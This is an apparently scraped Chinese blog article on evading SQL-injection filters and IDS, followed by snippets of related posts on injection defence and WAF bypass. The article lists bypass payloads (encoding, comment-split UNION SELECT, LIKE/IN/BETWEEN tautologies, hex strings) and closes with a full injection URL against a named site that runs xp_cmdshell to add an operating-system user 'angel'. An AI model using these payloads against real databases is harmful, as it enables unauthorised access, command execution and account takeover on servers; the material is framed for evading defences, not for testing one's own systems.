1. 程式人生 > >SQL注入過濾限制繞過方法

SQL注入過濾限制繞過方法

突然想我們是否可以用什麼方法繞過SQL注入的限制呢?到網上考察了一下,提到的方法大多都是針對AND與“’”號和“=”號過濾的突破,雖然有點進步的地方,但還是有一些關鍵字沒有繞過,由於我不常入侵網站所以也不敢對上述過濾的效果進行評論,但是可以肯定的是,效果不會很好……

經過我的收集,大部分的防注入程式都過濾了以下關鍵字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而這裡最難處理的就是select這個關鍵字了,那麼我們怎樣來突破他們呢?問題雖未完全解決,但還是說出來與大家分享一下,希望能拋磚引玉。
對於關鍵字的過濾,以下是我收集的以及我個人的一些想法。

1、運用編碼技術繞過

如URLEncode編碼,ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通過空格繞過

如兩個空格代替一個空格,用Tab代替空格等,或者刪除所有空格,如or’ swords’ =‘swords’ ,由於mssql的鬆散性,我們可以把or ‘swords’ 之間的空格去掉,並不影響執行。

3、運用字串判斷代替

用經典的or 1=1判斷繞過,如or ‘swords’ =’swords’,這個方法就是網上在討論的。

4、通過型別轉換修飾符N繞過

可以說這是一個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or ‘swords’ = N’ swords’ ,大寫的N告訴mssql server 字串作為nvarchar型別,它起到型別轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配IDS。

5、通過+號拆解字串繞過

效果值得考證,但畢竟是一種方法。如 or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

6、通過LIKE繞過

以前怎麼就沒想到呢?如or ‘swords’ LIKE ‘sw’!!!顯然可以很輕鬆的繞過“=”“>”的限制……

7、通過IN繞過

與上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)

8、通過BETWEEN繞過

如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

9、通過>或者<繞過

or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3

……

10、運用註釋語句繞過

用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感詞,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX繞過,一般的IDS都無法檢測出來

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外,關於通用點的過濾方法,我們可以考慮採用賦值的方法,例如先宣告一個變數a,然後把我們的指令賦值給a,然後呼叫變數a最終執行我們輸入的命令。變數a可以是任何命令。如下:

  declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

效果http://www.hackline.net/show.asp?id=1;declare%[email protected]% 20sysname%20select%[email protected]=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f

00610064006400%20exec%20master.dbo.xp_cmdshell%[email protected];–

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。

相關推薦

SQL注入過濾限制繞過方法---轉

突然想我們是否可以用什麼方法繞過SQL注入的限制呢?到網上考察了一下,提到的方法大多都是針對AND與“’”號和“=”號過濾的突破,雖然有點進步的地方,但還是有一些關鍵字沒有繞過,由於我不常入侵網站所以也不敢對上述過濾的效果進行評論,但是可以肯定的是,效果不會很好…… 經過我

SQL注入過濾限制繞過方法

突然想我們是否可以用什麼方法繞過SQL注入的限制呢?到網上考察了一下,提到的方法大多都是針對AND與“’”號和“=”號過濾的突破,雖然有點進步的地方,但還是有一些關鍵字沒有繞過,由於我不常入侵網站所以也不敢對上述過濾的效果進行評論,但是可以肯定的是,效果不會很好…… 經過

PHP實現防止SQL注入的2種方法

PHP簡單實現防止SQL注入的方法,結合例項形式分析了PHP防止SQL注入的常用操作技巧與注意事項,PHP原始碼備有詳盡註釋便於理解,需要的朋友可以參考下!   方法一:execute代入引數 $var_Value) { //獲取POST陣列最大值 $num = $nu

SQL注入技巧拓展】————3、SQL注入防禦與繞過的幾種姿勢

本文章主要以後端PHP和MySQL資料庫為例,參考了多篇文章後的集合性文章。 前言 本文章主要以後端PHP和MySQL資料庫為例,參考了多篇文章後的集合性文章,歡迎大家提出個人見解,互促成長。 一、 PHP幾種防禦姿勢 1. 關閉錯誤提示 說明:PHP配置檔案php.ini

java防止SQL注入的兩種方法

1.採用預編譯語句集,它內建了處理SQL注入的能力,只要使用它的setString方法傳值即可: String sql= "select * from users where username=? and password=?; PreparedStatement

防止SQL注入的五種方法

一、SQL注入簡介     SQL注入是比較常見的網路攻擊方式之一,它不是利用作業系統的BUG來實現攻擊,而是針對程式設計師程式設計時的疏忽,通過SQL語句,實現無帳號登入,甚至篡改資料庫。 二、SQL注入攻擊的總體思路 1.尋找到SQL注入的位置 2.判斷伺服器型別和後臺資料庫型別 3.針對不通的伺服器和

php防sql注入過濾特殊字元

我在PHP4環境下寫了一個防SQL注入的程式碼,經過實際使用在PHP5下也相容,歡迎大家使用修改,使用。 程式碼如下: <?php/*sqlin 防注入類*/class sqlin{//dowith_sql($value)function dowith_sql($str){   $str = str_

防止SQL注入攻擊的一些方法小結

開頭語:SQL注入攻擊的危害性很大。在講解其防止辦法之前,資料庫管理員有必要先了解一下其攻擊的原理。這有利於管理員採取有針對性的防治措施 -----解決方案-------------------------------------------------------- 過濾

sql注入繞過union select過濾

# # # #WAF Bypassing Strings: /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+

防止通過POST和GET方法SQL注入的兩個最徹底過濾程式

先針對POST遞交上來的資訊過濾程式 Public Function filterStr(str)    str=replace(str,CHR(59),";") '“;”    str=replace(str,CHR(38),"&") '“&”  

淺析php過濾html字串,防止SQL注入方法

本篇文章是對php中過濾html字串,防止SQL注入的方法進行了詳細的分析介紹,需要的朋友參考下   批量過濾post,get敏感資料 複製程式碼 程式碼如下: $_GET = stripslashes_array($_GET); $_POST = st

sql注入繞過的一些方法

1. 使用註釋,例如:     SELECT/*foo*/username,password/*foo*/FROM/*foo*/users     在MySQL中甚至可以在關鍵字中間插入註釋,例如SEL/*foo*/ECT username,password FR/*foo

防禦SQL注入方法(2)-過濾特殊字元

防禦SQL注入的一個重要方法是對使用者輸入進行過濾,PHP中mysqli_real_escape_string(connection,escapestring)和mysqli_escape_string(connection,escapestring)函式就是對

文件上傳限制繞過的原理以及方法總結

總結 IT img java eight turn 頁面 ima 控制 0x00 概述 6666666 0x01 客戶端檢測繞過(js檢測) 檢測原理 在客戶端通過如下的javascript代碼來檢測用戶提交的文件是否合法: 1 <script type="

CloudDBA新功能上線——SQL過濾/限制/防火墻

nag time 51cto _id where blog strong stat 創建 摘要: 前言 CloudDBA是阿裏雲數據庫團隊開發的智能診斷和優化平臺,可以幫助用戶更好使用阿裏雲數據庫。CloudDBA不斷提升算法和規則,更好的匹配更多用戶場景,剛剛上線了SQL

xss腳本繞過限制方法

body confirm pri ech server 都差不多 沒有 oca payload 第一關:第一關比較簡單,直接寫入標簽就可以,這裏不多說了,payload如下: http://sqler.win/xss/level1.php?name=test%3Csvg/

SQL注入過濾程式碼分析

SQL注入:在使用者的輸入沒有為轉義字元過濾時,就會發生這樣這種形式的注入式攻擊。所以在在有SQL查詢語句的網頁中對字元的過濾時很重要的。 在沒有任何過濾時,是很危險的,使用者可以在提交的資料中,插入自己想要插入攻擊程式碼。 mysql_real_escape_strin

繞過安全狗進行sql注入(MySQL)

看我如何一步一步繞過安全狗 前言 前幾天滲透了一個站,由於沒有做好善後工作被管理員發現了,再次訪問那個站的時候,管理員已經刪了大馬,裝上了網站安全狗(我估計大馬應該是安全狗刪除的,畢竟那個管理員真的太懶了,我的小馬還在,並且居然菜刀還可以連線),為了給這個管理員增強點安全防護意識

SQL注入之騷姿勢小記 & 替換 繞過

https://mp.weixin.qq.com/s/ORsciwsBGQJhFdKqceprSw 1、IN之騷 這個我也偶然發現的,也不知前輩們有沒有早已總結好的套路了。w3school上對in操作符的介紹: http://www.w3school.com.cn/sql/sql_in.

sql 注入 繞過 waf

https://notwhy.github.io/2018/06/sql-injection-fuck-waf/ 0x0 前言 0x1 注入點檢測 0x2 bypass waf 0x3 自動化 0x0 前言   這裡是簡單對sql注入繞過waf的一個小總結,非安全研究員,這裡不講原